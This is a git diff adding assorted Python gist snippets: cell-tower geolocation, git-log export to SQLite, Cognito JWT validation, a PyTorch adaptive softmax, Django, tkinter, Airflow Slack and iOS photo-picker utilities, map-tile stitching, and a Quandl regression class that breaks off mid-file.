/dev/null and b/hard-gists/0c10e910e514832b7103/._snippet.py differ diff --git a/hard-gists/0c10e910e514832b7103/snippet.py b/hard-gists/0c10e910e514832b7103/snippet.py new file mode 100644 index 00000000..8d8bc234 --- /dev/null +++ b/hard-gists/0c10e910e514832b7103/snippet.py @@ -0,0 +1,48 @@ +#Begin +#!/usr/local/bin/python + +#import httplib +import urllib +from google.appengine.api import urlfetch + +from struct import * + +def cellid_2_pos(cellid, lac, mnc = 0, mcc = 0): + pd = chr(0)+chr(0x15) # Function Code? + pd += chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0) #Session ID? + pd += chr(0)+chr(0x02)+chr(0x62)+chr(0x72) # Contry Code + pd += chr(0)+chr(0x12)+chr(0x53)+chr(0x6f)+chr(0x6e) # User Agent + pd += chr(0x79)+chr(0x5f)+chr(0x45)+chr(0x72)+chr(0x69) # User Agent + pd += chr(0x63)+chr(0x73)+chr(0x73)+chr(0x6f)+chr(0x6e) # User Agent + pd += chr(0x2d)+chr(0x4b)+chr(0x37)+chr(0x35)+chr(0x30) # User Agent + pd += chr(0)+chr(0x05)+chr(0x31)+chr(0x2e)+chr(0x33)+chr(0x2e)+chr(0x31) # version + pd += chr(0)+chr(0x03)+chr(0x57)+chr(0x65)+chr(0x62) # "Web" + pd += chr(0x1b) # Op Code? + pd += chr((mnc >> 24) & 0xFF) + chr((mnc >> 16) & 0xFF) + chr((mnc >> 8) & 0xFF) + chr(mnc & 0xFF) # MNC + pd += chr((mcc >> 24) & 0xFF) + chr((mcc >> 16) & 0xFF) + chr((mcc >> 8) & 0xFF) + chr(mcc & 0xFF) # MCC + pd += chr(0)+chr(0)+chr(0)+chr(0x03) # ?? + pd += chr(0)+chr(0) # ?? + pd += chr((cellid >> 24) & 0xFF) + chr((cellid >> 16) & 0xFF) + chr((cellid >> 8) & 0xFF) + chr(cellid & 0xFF) # CID - replace 0x00 with the hex value from CID + pd += chr((lac >> 24) & 0xFF) + chr((lac >> 16) & 0xFF) + chr((lac >> 8) & 0xFF) + chr(lac & 0xFF) # LAC - replace 0x00 with the hex value from LAC + pd += chr(0)+chr(0)+chr(0)+chr(0) # ?? + pd += chr(0)+chr(0)+chr(0)+chr(0) # ?? + pd += chr(0)+chr(0)+chr(0)+chr(0) # ?? + pd += chr(0)+chr(0)+chr(0)+chr(0) # ?? + + headers = {"Content-type": "application/binary"} + + + response = urlfetch.fetch("http://www.google.com/glm/mmap", + pd, + urlfetch.POST, + headers) + + data = response.content + if response.status_code != 200: + return False + + lat = unpack('>l',data[7:11])[0]/1000000.0 + lon = unpack('>l',data[11:15])[0]/1000000.0 + return [lat, lon] +# End Python 2.5 + diff --git a/hard-gists/0c7ccae5d764ff61788fc626096e5688/._snippet.py b/hard-gists/0c7ccae5d764ff61788fc626096e5688/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0c7ccae5d764ff61788fc626096e5688/._snippet.py differ diff --git a/hard-gists/0c7ccae5d764ff61788fc626096e5688/snippet.py b/hard-gists/0c7ccae5d764ff61788fc626096e5688/snippet.py new file mode 100644 index 00000000..d8296125 --- /dev/null +++ b/hard-gists/0c7ccae5d764ff61788fc626096e5688/snippet.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +import git +import json +import sqlite3 +import re +import os +import os.path + +def log(repo): + repo = git.Repo(repo) + log = repo.git.log().split("\ncommit ") + commits = [] + for line in log: + match = re.search(r"([^\n]+)\nAuthor:\s+([^\n]+)\nDate:\s+([^\n]+)\n\n\s+(.*)\n", line, re.DOTALL) + if match: + author = re.match(r"(.+)\s+<([^>]+)>", match.group(2)) + commit = { + "hash": match.group(1), + "date": match.group(3), + "message": match.group(4) + } + if author: + commit["author"] = author.group(1) + commit["email"] = author.group(2) + else: + commit["author"] = match.group(2) + commit["email"] = None + commits.append(commit) + return commits + + + +if __name__ == '__main__': + path = os.getcwd() + commits = log(path) + if not path.endswith("/"): + path = path + "/" + fname = "%sgit.sqlite" % (path) + if os.path.isfile(fname): + os.remove(fname) + con = sqlite3.connect(fname) + con.execute("CREATE TABLE commits (hash VARCHAR(40), author VARCHAR(256), email VARCHAR(256), " + + "message text, date VARCHAR(35))") + cur = con.cursor() + def commit(c): + return (c["hash"], c["author"], c["email"], c["message"], c["date"]) + cur.executemany("INSERT INTO commits VALUES(?, ?, ?, ?, ?)", map(commit, commits)) + con.commit() + con.close() diff --git a/hard-gists/0ca2272c015266e667924836364349c3/._snippet.py b/hard-gists/0ca2272c015266e667924836364349c3/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0ca2272c015266e667924836364349c3/._snippet.py differ diff --git a/hard-gists/0ca2272c015266e667924836364349c3/snippet.py b/hard-gists/0ca2272c015266e667924836364349c3/snippet.py new file mode 100644 index 00000000..f1b010bd --- /dev/null +++ b/hard-gists/0ca2272c015266e667924836364349c3/snippet.py @@ -0,0 +1,254 @@ +#!/usr/bin/env python3 +""" Handles validation of a JWT web-token passed by the client +""" +import os +import sys +import argparse + +import requests + +import simplejson as json + +from jose import jwt, JWTError + + +def pool_url(aws_region, aws_user_pool): + """ Create an Amazon cognito issuer URL from a region and pool id + + Args: + aws_region (string): The region the pool was created in. + aws_user_pool (string): The Amazon region ID. + + Returns: + string: a URL + """ + return ( + "https://cognito-idp.{}.amazonaws.com/{}". + format(aws_region, aws_user_pool) + ) +# def pool_url + + +def get_client_id_from_access_token(aws_region, aws_user_pool, token): + """ Pulls the client ID out of an Access Token + """ + claims = get_claims(aws_region, aws_user_pool, token) + if claims.get('token_use') != 'access': + raise ValueError('Not an access token') + + return claims.get('client_id') + +# def get_client_id + + +def get_client_id_from_id_token(token): + """ Pulls the audience (client id) out of an id_token + """ + # header, payload, _ = get_token_segments(token) + payload = jwt.get_unverified_claims(token) + return payload.get('aud') + +# def get_client_id + + +def get_user_email(aws_region, aws_user_pool, client_id, id_token): + """ Pulls the user email out of an id token + """ + if client_id is None: + client_id = os.environ.get('AWS_CLIENT_ID') + + if client_id is None: + client_id = get_client_id_from_id_token(id_token) + + claims = get_claims(aws_region, aws_user_pool, id_token, client_id) + if claims.get('token_use') != 'id': + raise ValueError('Not an ID Token') + + return claims.get('email') + +# def get_user_email + + +def get_claims(aws_region, aws_user_pool, token, audience=None): + """ Given a token (and optionally an audience), validate and + return the claims for the token + """ + # header, _, _ = get_token_segments(token) + header = jwt.get_unverified_header(token) + kid = header['kid'] + + verify_url = pool_url(aws_region, aws_user_pool) + + keys = aws_key_dict(aws_region, aws_user_pool) + + key = keys.get(kid) + + kargs = {"issuer": verify_url} + if audience is not None: + kargs["audience"] = audience + + claims = jwt.decode( + token, + key, + **kargs + ) + + return claims + +# def get_claims + + +def aws_key_dict(aws_region, aws_user_pool): + """ Fetches the AWS JWT validation file (if necessary) and then converts + this file into a keyed dictionary that can be used to validate a web-token + we've been passed + + Args: + aws_user_pool (string): the ID for the user pool + + Returns: + dict: a dictonary of values + """ + filename = os.path.abspath( + os.path.join( + os.path.dirname(sys.argv[0]), 'aws_{}.json'.format(aws_user_pool) + ) + ) + + if not os.path.isfile(filename): + # If we can't find the file already, try to download it. + aws_data = requests.get( + pool_url(aws_region, aws_user_pool) + '/.well-known/jwks.json' + ) + aws_jwt = json.loads(aws_data.text) + with open(filename, 'w+') as json_data: + json_data.write(aws_data.text) + json_data.close() + + else: + with open(filename) as json_data: + aws_jwt = json.load(json_data) + json_data.close() + + # We want a dictionary keyed by the kid, not a list. + result = {} + for item in aws_jwt['keys']: + result[item['kid']] = item + + return result +# def aws_key_dict + + +def env_with_error(val, message, default=None): + """ Tries to fetch a value from the environment and throws an arror if it's + missing. Used so that we can return a better error message + + Args: + val (string); The value to fetch from the environment + message (string): The message to raise + default (string): An optional default value. + Returns: + string: The value from the environment + """ + result = os.environ.get(val) + if result is None: + result = default + + if result is None: + raise KeyError(message) + return result +# def get_with_error + + +def run_test(): + """ Validates an identity token passed in as an argument. + We can get the client_id from one of three places. If we're + passed an access token, we can get the client_id from that. + If we're passed a client_id, we'll use it. If we're given + neither an access token nor a client_id as an argument, we'll + look for something in the environemnt. If that isn't set, + we'll use the client ID passed as the audience in the identity + token itself. + """ + + # pylint: disable=missing-docstring,too-few-public-methods + class Bcolors: + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + + parser = argparse.ArgumentParser( + description='Validates an AWS id token and prints the email address.') + + parser.add_argument( + '-c', '--client_id', + help='The application id to which the id_token applies', + metavar='', + dest='client_id' + ) + + parser.add_argument( + '-a', '--access_token', + help='An access token returned from the authentication authority' + + ' used to retrieve an client_id', + metavar='', + + ) + + parser.add_argument( + '-r', '--aws_region', + help='The AWS Region that the pool is defined for. (ie. us-west-2)', + metavar='', + dest='aws_region' + ) + + parser.add_argument( + '-p', '--aws_pool', + help='The AWS Pool ID that token comes from.', + metavar='', + dest='aws_pool' + ) + + parser.add_argument( + 'id_token', + nargs=1, + help='The ID token to be validated and have the email address printed', + metavar='' + ) + + args = parser.parse_args() + + aws_region = env_with_error( + "AWS_REGION", 'Missing AWS_REGION environment variable', + args.aws_region + ) + + aws_pool = env_with_error( + "AWS_USER_POOL", 'Missing AWS_USER_POOL environment variable', + args.aws_pool + ) + + client_id = None + if args.client_id is not None: + client_id = args.client_id + elif args.access_token is not None: + client_id = get_client_id_from_access_token( + aws_region, aws_pool, args.access_token) + try: + print( + Bcolors.OKGREEN + Bcolors.BOLD + "SUCCESS: " + Bcolors.ENDC + + get_user_email(aws_region, aws_pool, client_id, args.id_token[0])) + except JWTError as error: + print( + Bcolors.BOLD + Bcolors.FAIL + "FAILED: " + Bcolors.ENDC + + str(error)) + +# def run_test + +if __name__ == '__main__': + run_test() diff --git a/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/._snippet.py b/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/._snippet.py differ diff --git a/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/snippet.py b/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/snippet.py new file mode 100644 index 00000000..e444122a --- /dev/null +++ b/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/snippet.py @@ -0,0 +1,115 @@ +import torch +from torch import nn +from torch.autograd import Variable + +class AdaptiveSoftmax(nn.Module): + def __init__(self, input_size, cutoff): + super().__init__() + + self.input_size = input_size + self.cutoff = cutoff + self.output_size = cutoff[0] + len(cutoff) - 1 + + self.head = nn.Linear(input_size, self.output_size) + self.tail = nn.ModuleList() + + for i in range(len(cutoff) - 1): + seq = nn.Sequential( + nn.Linear(input_size, input_size // 4 ** i, False), + nn.Linear(input_size // 4 ** i, cutoff[i + 1] - cutoff[i], False) + ) + + self.tail.append(seq) + + def reset(self, init=0.1): + self.head.weight.data.uniform_(-init, init) + + for tail in self.tail: + tail[0].weight.data.uniform_(-init, init) + tail[1].weight.data.uniform_(-init, init) + + def set_target(self, target): + self.id = [] + + for i in range(len(self.cutoff) - 1): + mask = target.ge(self.cutoff[i]).mul(target.lt(self.cutoff[i + 1])) + + if mask.sum() > 0: + self.id.append(Variable(mask.float().nonzero().squeeze(1))) + + else: + self.id.append(None) + + def forward(self, input): + output = [self.head(input)] + + for i in range(len(self.id)): + if self.id[i] is not None: + output.append(self.tail[i](input.index_select(0, self.id[i]))) + + else: + output.append(None) + + return output + + def log_prob(self, input): + lsm = nn.LogSoftmax().cuda() + + head_out = self.head(input) + + batch_size = head_out.size(0) + prob = torch.zeros(batch_size, self.cutoff[-1]).cuda() + + lsm_head = lsm(head_out) + prob.narrow(1, 0, self.output_size).add_(lsm_head.narrow(1, 0, self.output_size).data) + + for i in range(len(self.tail)): + pos = self.cutoff[i] + i_size = self.cutoff[i + 1] - pos + buffer = lsm_head.narrow(1, self.cutoff[0] + i, 1) + buffer = buffer.expand(batch_size, i_size) + lsm_tail = lsm(self.tail[i](input)) + prob.narrow(1, pos, i_size).copy_(buffer.data).add_(lsm_tail.data) + + return prob + +class AdaptiveLoss(nn.Module): + def __init__(self, cutoff): + super().__init__() + + self.cutoff = cutoff + self.criterions = nn.ModuleList() + + for i in self.cutoff: + self.criterions.append(nn.CrossEntropyLoss(size_average=False)) + + def remap_target(self, target): + new_target = [target.clone()] + + for i in range(len(self.cutoff) - 1): + mask = target.ge(self.cutoff[i]).mul(target.lt(self.cutoff[i + 1])) + new_target[0][mask] = self.cutoff[0] + i + + if mask.sum() > 0: + new_target.append(target[mask].add(-self.cutoff[i])) + + else: + new_target.append(None) + + return new_target + + def forward(self, input, target): + batch_size = input[0].size(0) + target = self.remap_target(target.data) + + output = 0.0 + + for i in range(len(input)): + if input[i] is not None: + assert(target[i].min() >= 0 and target[i].max() <= input[i].size(1)) + criterion = self.criterions[i] + output += criterion(input[i], Variable(target[i])) + + output /= batch_size + + return output \ No newline at end of file diff --git a/hard-gists/0cfe89a89b892e47e8418e281dfe318d/._snippet.py b/hard-gists/0cfe89a89b892e47e8418e281dfe318d/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0cfe89a89b892e47e8418e281dfe318d/._snippet.py differ diff --git a/hard-gists/0cfe89a89b892e47e8418e281dfe318d/snippet.py b/hard-gists/0cfe89a89b892e47e8418e281dfe318d/snippet.py new file mode 100644 index 00000000..1fac2d34 --- /dev/null +++ b/hard-gists/0cfe89a89b892e47e8418e281dfe318d/snippet.py @@ -0,0 +1,24 @@ +# utils.py +import json +from django.contrib.postgres.forms.jsonb import InvalidJSONInput, JSONField + + +class ReadableJSONFormField(JSONField): + def prepare_value(self, value): + if isinstance(value, InvalidJSONInput): + return value + return json.dumps(value, ensure_ascii=False, indent=4) + + + +# admin.py +from django.contrib import admin +from django.contrib.postgres.fields import JSONField +from .utils import ReadableJSONFormField + + +@admin.register(Example) +class ExampleAdmin(admin.ModelAdmin): + formfield_overrides = { + JSONField: {'form_class': ReadableJSONFormField}, + } diff --git a/hard-gists/0d1baad4e3a871587ab1/._snippet.py b/hard-gists/0d1baad4e3a871587ab1/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0d1baad4e3a871587ab1/._snippet.py differ diff --git a/hard-gists/0d1baad4e3a871587ab1/snippet.py b/hard-gists/0d1baad4e3a871587ab1/snippet.py new file mode 100644 index 00000000..c82e3a10 --- /dev/null +++ b/hard-gists/0d1baad4e3a871587ab1/snippet.py @@ -0,0 +1,60 @@ +#! Python 3.4 +""" +Open a file dialog window in tkinter using the filedialog method. + +Tkinter has a prebuilt dialog window to access files. + +This example is designed to show how you might use a file dialog askopenfilename +and use it in a program. +""" + +from tkinter import * +from tkinter import ttk +from tkinter.filedialog import askopenfilename + +root = Tk( ) + +#This is where we lauch the file manager bar. +def OpenFile(): + name = askopenfilename(initialdir="C:/Users/Batman/Documents/Programming/tkinter/", + filetypes =(("Text File", "*.txt"),("All Files","*.*")), + title = "Choose a file." + ) + print (name) + #Using try in case user types in unknown file or closes without choosing a file. + try: + with open(name,'r') as UseFile: + print(UseFile.read()) + except: + print("No file exists") + + +Title = root.title( "File Opener") +label = ttk.Label(root, text ="I'm BATMAN!!!",foreground="red",font=("Helvetica", 16)) +label.pack() + +#Menu Bar + +menu = Menu(root) +root.config(menu=menu) + +file = Menu(menu) + +file.add_command(label = 'Open', command = OpenFile) +file.add_command(label = 'Exit', command = lambda:exit()) + +menu.add_cascade(label = 'File', menu = file) + + + + + +root.mainloop() + +''' +RESULTS: +>>> +C:/Users/Scott/Documents/Programming/json/test.txt +"I like to move it, groove it!" +''' + diff --git a/hard-gists/0d25683d9c8fce27edd3/._snippet.py b/hard-gists/0d25683d9c8fce27edd3/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0d25683d9c8fce27edd3/._snippet.py differ diff --git a/hard-gists/0d25683d9c8fce27edd3/snippet.py b/hard-gists/0d25683d9c8fce27edd3/snippet.py new file mode 100644 index 00000000..366b7363 --- /dev/null +++ b/hard-gists/0d25683d9c8fce27edd3/snippet.py @@ -0,0 +1,53 @@ +# airflow/plugins/slack.py + +import logging + +from airflow.operators.python_operator import PythonOperator +from airflow.plugins_manager import AirflowPlugin +from slackclient import SlackClient +from titan.utils import config + + +class PythonSlackOperator(PythonOperator): + def __init__(self, *args, **kwargs): + super(PythonSlackOperator, self).__init__(*args, **kwargs) + + def _post_slack_message(self, text): + try: + sc = SlackClient(config.get('slack', 'token')) + sc.api_call('chat.postMessage', + channel=config.get('slack', 'default_channel'), + username='Airflow', + icon_url='https://raw.githubusercontent.com/airbnb/airflow/master/airflow/www/static/pin_100.png', + text=text) + except: + logging.exception('Non-fatal error: could not post message to Slack (text: {text})'.format(**locals())) + + def execute(self, context, *args, **kwargs): + task_instance = context.get('task_instance') + dag_run = context.get('dag_run') + dag = context.get('dag') + + if dag_run is None: + dag_run_id = 'N/A' + dag_run_external_trigger = 'N/A' + else: + dag_run_id = dag_run.run_id + dag_run_external_trigger = ':zap:' if dag_run.external_trigger else ':clock3:' + + base_url = config.get('airflow', 'base_url') + log_url = '{base_url}{task_instance.log_url}'.format(**locals()) + + self._post_slack_message(':chicken:{dag_run_external_trigger} Starting task (dag=*{task_instance.dag_id}* task=*{task_instance.task_id}* dagid=*{dag_run_id}*) <{log_url}|logs>'.format(**locals())) + result = super(PythonSlackOperator, self).execute(context, *args, **kwargs) + self._post_slack_message(':poultry_leg:{dag_run_external_trigger} Finished task (dag=*{task_instance.dag_id}* task=*{task_instance.task_id}* dagid=*{dag_run_id}*) <{log_url}|logs>'.format(**locals())) + + +class PythonSlackAPlugin(AirflowPlugin): + name = 'dp_python_slack' + operators = [PythonSlackOperator] + flask_blueprints = [] + hooks = [] + executors = [] + admin_views = [] + menu_links = [] diff --git a/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/._snippet.py b/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/._snippet.py differ diff --git a/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/snippet.py b/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/snippet.py new file mode 100644 index 00000000..ba41e75a --- /dev/null +++ b/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/snippet.py @@ -0,0 +1,158 @@ +# Experimental photo picker using the Photos framework via objc_util. Compared to the photos module, this has the advantage of showing all photos, including iCloud photo library. Not very well tested! + +from objc_util import * +import threading +from io import BytesIO +from PIL import Image +import sys +import ui +import ctypes + +NSBundle.bundleWithPath_('/System/Library/Frameworks/Photos.framework').load() +PHAsset = ObjCClass('PHAsset') +PHImageManager = ObjCClass('PHImageManager') +PHImageRequestOptions = ObjCClass('PHImageRequestOptions') +mgr = PHImageManager.defaultManager() + +def nsdata2str(data): + return ctypes.string_at(data.bytes(), data.length()) + +class Asset (object): + def __init__(self, asset_obj): + self._asset = asset_obj + + def __repr__(self): + return repr(self._asset) + + def fetch_data(self): + '''Return a tuple of (UTI, data) for the asset. Both are strings, the UTI indicates the file type (e.g. 'public.jpeg').''' + e = threading.Event() + result = {} + def handler(_cmd, _data, _uti, orientation, _info): + if _data: + result['data'] = nsdata2str(ObjCInstance(_data)) + result['uti'] = str(ObjCInstance(_uti)) + result['orientation'] = orientation + result['info'] = ObjCInstance(_info) + e.set() + handler_block = ObjCBlock(handler, restype=None, argtypes=[c_void_p, c_void_p, c_void_p, NSInteger, c_void_p]) + options = PHImageRequestOptions.new().autorelease() + options.networkAccessAllowed = True + options.synchronous = True + mgr.requestImageDataForAsset_options_resultHandler_(self._asset, options, handler_block) + e.wait() + return result + + def fetch_ui_thumbnail(self): + a = self._asset + options = PHImageRequestOptions.new().autorelease() + options.networkAccessAllowed = True + options.synchronous = True + target_size = CGSize(80, 80) + result = {} + e = threading.Event() + def handler(_cmd, _result, _info): + result['image'] = ObjCInstance(_result) + e.set() + handler_block = ObjCBlock(handler, restype=None, argtypes=[c_void_p, c_void_p, c_void_p]) + mgr.requestImageForAsset_targetSize_contentMode_options_resultHandler_( a, target_size, 0, options, handler_block) + e.wait() + return result['image'] + + def fetch_image(self): + '''Return the asset as a decoded PIL Image object.''' + info = self.fetch_data() + img_data = info['data'] + orientation = info['orientation'] + b = BytesIO(img_data) + img = Image.open(b) + # NOTE: Mirrored orientations are not supported here. + orientations = {1: 180, 2: 90, 3: -90} + rotation = orientations.get(orientation, 0) + if rotation != 0: + img = img.rotate(rotation) + return img + +UICollectionView = ObjCClass('UICollectionView') +UICollectionViewFlowLayout = ObjCClass('UICollectionViewFlowLayout') +UICollectionViewCell = ObjCClass('UICollectionViewCell') +UIImageView = ObjCClass('UIImageView') +UIColor = ObjCClass('UIColor') + +def collectionView_numberOfItemsInSection_(_self, _cmd, _cv, _sec): + ds = ObjCInstance(_self) + return len(ds.assets) +collectionView_numberOfItemsInSection_.encoding = 'q32@0:8@16q24' + +def collectionView_cellForItemAtIndexPath_(_self, _cmd, _cv, _ip): + ds = ObjCInstance(_self) + ip = ObjCInstance(_ip) + cv = ObjCInstance(_cv) + asset = ds.assets[ip.item()] + thumb = asset.fetch_ui_thumbnail() + cell = cv.dequeueReusableCellWithReuseIdentifier_forIndexPath_('Cell', ip) + iv = cell.viewWithTag_(123) + if not iv: + iv_frame = cell.bounds() + iv = UIImageView.alloc().initWithFrame_(iv_frame).autorelease() + iv.setTag_(123) + iv.setContentMode_(2) + iv.setClipsToBounds_(True) + iv.setAutoresizingMask_(18) + cell.addSubview_(iv) + iv.setImage_(thumb) + return cell.ptr +collectionView_cellForItemAtIndexPath_.encoding = '@32@0:8@16@24' + +def collectionView_didSelectItemAtIndexPath_(_self, _cmd, _cv, _ip): + ds = ObjCInstance(_self) + ds.selected_asset_index = ObjCInstance(_ip).item() + ds.asset_collection_view.close() +collectionView_didSelectItemAtIndexPath_.encoding = 'v32@0:8@16@24' + +methods = [collectionView_numberOfItemsInSection_, collectionView_cellForItemAtIndexPath_, collectionView_didSelectItemAtIndexPath_] +DataSource = create_objc_class('DataSource', methods=methods, protocols=['UICollectionViewDelegateFlowLayout', 'UICollectionViewDataSource', 'UICollectionViewDelegate']) + +class AssetCollectionView (ui.View): + def __init__(self, *args, **kwargs): + ui.View.__init__(self, *args, **kwargs) + layout = UICollectionViewFlowLayout.alloc().init().autorelease() + layout.itemSize = CGSize(80, 80) + layout.sectionInset = UIEdgeInsets(8, 8, 8, 8) + frame = ((0, 0), (self.bounds.width, self.bounds.height)) + cv = UICollectionView.alloc().initWithFrame_collectionViewLayout_(frame, layout) + cv.backgroundColor = UIColor.whiteColor() + cv.registerClass_forCellWithReuseIdentifier_(UICollectionViewCell, 'Cell') + ds = DataSource.alloc().init().autorelease() + res = PHAsset.fetchAssetsWithMediaType_options_(1, None) + ds.assets = [Asset(res.objectAtIndex_(i)) for i in xrange(res.count())] + ds.asset_collection_view = self + self.data_source = ds + cv.dataSource = ds + cv.delegate = ds + cv.setAlwaysBounceVertical_(True) + cv.setAutoresizingMask_(18) + ObjCInstance(self._objc_ptr).addSubview_(cv) + +def pick_asset(): + av = AssetCollectionView(frame=(0, 0, 540, 576)) + av.name = 'All Photos' + av.present('sheet') + av.wait_modal() + if hasattr(av.data_source, 'selected_asset_index'): + asset = av.data_source.assets[av.data_source.selected_asset_index] + return asset + else: + return None + +# Demo: +def main(): + asset = pick_asset() + if asset: + img = asset.fetch_image() + img.show() + else: + print 'No image picked' + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/hard-gists/0d5b3e7cc89cb2180c6e/._snippet.py b/hard-gists/0d5b3e7cc89cb2180c6e/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0d5b3e7cc89cb2180c6e/._snippet.py differ diff --git a/hard-gists/0d5b3e7cc89cb2180c6e/snippet.py b/hard-gists/0d5b3e7cc89cb2180c6e/snippet.py new file mode 100644 index 00000000..1aff2540 --- /dev/null +++ b/hard-gists/0d5b3e7cc89cb2180c6e/snippet.py @@ -0,0 +1,82 @@ +import urllib, StringIO +from math import log, exp, tan, atan, pi, ceil +from PIL import Image + +EARTH_RADIUS = 6378137 +EQUATOR_CIRCUMFERENCE = 2 * pi * EARTH_RADIUS +INITIAL_RESOLUTION = EQUATOR_CIRCUMFERENCE / 256.0 +ORIGIN_SHIFT = EQUATOR_CIRCUMFERENCE / 2.0 + +def latlontopixels(lat, lon, zoom): + mx = (lon * ORIGIN_SHIFT) / 180.0 + my = log(tan((90 + lat) * pi/360.0))/(pi/180.0) + my = (my * ORIGIN_SHIFT) /180.0 + res = INITIAL_RESOLUTION / (2**zoom) + px = (mx + ORIGIN_SHIFT) / res + py = (my + ORIGIN_SHIFT) / res + return px, py + +def pixelstolatlon(px, py, zoom): + res = INITIAL_RESOLUTION / (2**zoom) + mx = px * res - ORIGIN_SHIFT + my = py * res - ORIGIN_SHIFT + lat = (my / ORIGIN_SHIFT) * 180.0 + lat = 180 / pi * (2*atan(exp(lat*pi/180.0)) - pi/2.0) + lon = (mx / ORIGIN_SHIFT) * 180.0 + return lat, lon + +############################################ + +# a neighbourhood in Lajeado, Brazil: + +upperleft = '-29.44,-52.0' +lowerright = '-29.45,-51.98' + +zoom = 18 # be careful not to get too many images! + +############################################ + +ullat, ullon = map(float, upperleft.split(',')) +lrlat, lrlon = map(float, lowerright.split(',')) + +# Set some important parameters +scale = 1 +maxsize = 640 + +# convert all these coordinates to pixels +ulx, uly = latlontopixels(ullat, ullon, zoom) +lrx, lry = latlontopixels(lrlat, lrlon, zoom) + +# calculate total pixel dimensions of final image +dx, dy = lrx - ulx, uly - lry + +# calculate rows and columns +cols, rows = int(ceil(dx/maxsize)), int(ceil(dy/maxsize)) + +# calculate pixel dimensions of each small image +bottom = 120 +largura = int(ceil(dx/cols)) +altura = int(ceil(dy/rows)) +alturaplus = altura + bottom + + +final = Image.new("RGB", (int(dx), int(dy))) +for x in range(cols): + for y in range(rows): + dxn = largura * (0.5 + x) + dyn = altura * (0.5 + y) + latn, lonn = pixelstolatlon(ulx + dxn, uly - dyn - bottom/2, zoom) + position = ','.join((str(latn), str(lonn))) + print(x, y, position) + urlparams = urllib.urlencode({'center': position, + 'zoom': str(zoom), + 'size': '%dx%d' % (largura, alturaplus), + 'maptype': 'satellite', + 'sensor': 'false', + 'scale': scale}) + url = 'http://maps.google.com/maps/api/staticmap?' + urlparams + f=urllib.urlopen(url) + im=Image.open(StringIO.StringIO(f.read())) + final.paste(im, (int(x*largura), int(y*altura))) +final.show() + diff --git a/hard-gists/0d9745f39a034758e51e/._snippet.py b/hard-gists/0d9745f39a034758e51e/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0d9745f39a034758e51e/._snippet.py differ diff --git a/hard-gists/0d9745f39a034758e51e/snippet.py b/hard-gists/0d9745f39a034758e51e/snippet.py new file mode 100644 index 00000000..4c0892e5 --- /dev/null +++ b/hard-gists/0d9745f39a034758e51e/snippet.py @@ -0,0 +1,196 @@ +__author__ = 'Stuart Gordon Reid' + +import os as os +import csv as csv +import numpy as np +import scipy as spy +import sklearn as kit +import pandas as pandas +import statsmodels.api as sm +import matplotlib.pyplot as plot +from Quandl import get +from statsmodels.sandbox.regression.predstd import wls_prediction_std + + +class StatsModelsSettings(): + """ + This class contains settings for the statsmodels package, settings include, + * exponent:int - when equal to one this is a straight line, when >1 this is a curve + * confidence:boolean - specifies whether confidence lines should be calculated and plotted + """ + exponent = 1 + confidence = False + + def __init__(self, exponent=1, confidence=False): + """ + This initialization method constructs a new StatsModelSettings object + """ + self.exponent = exponent + self.confidence = confidence + pass + + +class QuandlSettings(): + """ + This class contains settings for the quandl integration package, settings include, + * rows:int - specifies the amount of historical data to extract in [frequency] + * column:int - specifies the column in the data-set to use for the regression analysis + * frequency:String - select between ("daily"|weekly"|"monthly"|"quarterly"|"annual") + * transformation:String - select the numerical transformation ("diff"|"rdiff"|"normalize"|"cumul") + * order:String - select order of data between ("asc"|"desc") + """ + rows = 0 + column = 1 + frequency = "weekly" + transformation = "normalize" + order = "desc" + + def __init__(self, rows, column, frequency="weekly", transformation="normalize", order="desc"): + """ + This initialization method constructs a new QuandlSettings object + """ + self.rows = rows + self.column = column + self.frequency = frequency + self.transformation = transformation + self.order = order + pass + + +class RegressionAnalysis(): + """ + This class contain the logic for calculating the regression analysis given a Quandl data-set name, a QuandlSettings + object, and a StatsModelsSettings object. The resulting regression analysis is returned. + """ + color = 'r' + dates = [] + prices = [] + data_set = "" + regression = None + upper = None + lower = None + + def __init__(self, quandl_data_set_name, quandl_settings, statsmodels_settings, color='r'): + """ + This initialization method constructs a new RegressionAnalysis object + """ + self.color = color + self.data_set = quandl_data_set_name + self.dates, self.prices = self.get_quandl_data(self.data_set, quandl_settings) + + # Only calculate and return confidence lines if setting = True + if statsmodels_settings.confidence: + self.regression, self.lower, self.upper = self.run_ordinary_least_squares(self.dates, self.prices, + statsmodels_settings) + else: + self.regression = self.run_ordinary_least_squares(self.dates, self.prices, statsmodels_settings) + pass + + @staticmethod + def get_quandl_data(quandl_data_set_name, quandl_settings): + """ + This method retrieves the quandl data set given the settings specified in the quandl_settings object. For more + information about these settings see documentation from the QuandlSettings class + """ + quandl_data_set = get(quandl_data_set_name, rows=quandl_settings.rows, returns="numpy", + transformation=quandl_settings.transformation, + sort_order=quandl_settings.order, collapse=quandl_settings.frequency) + print(quandl_data_set) 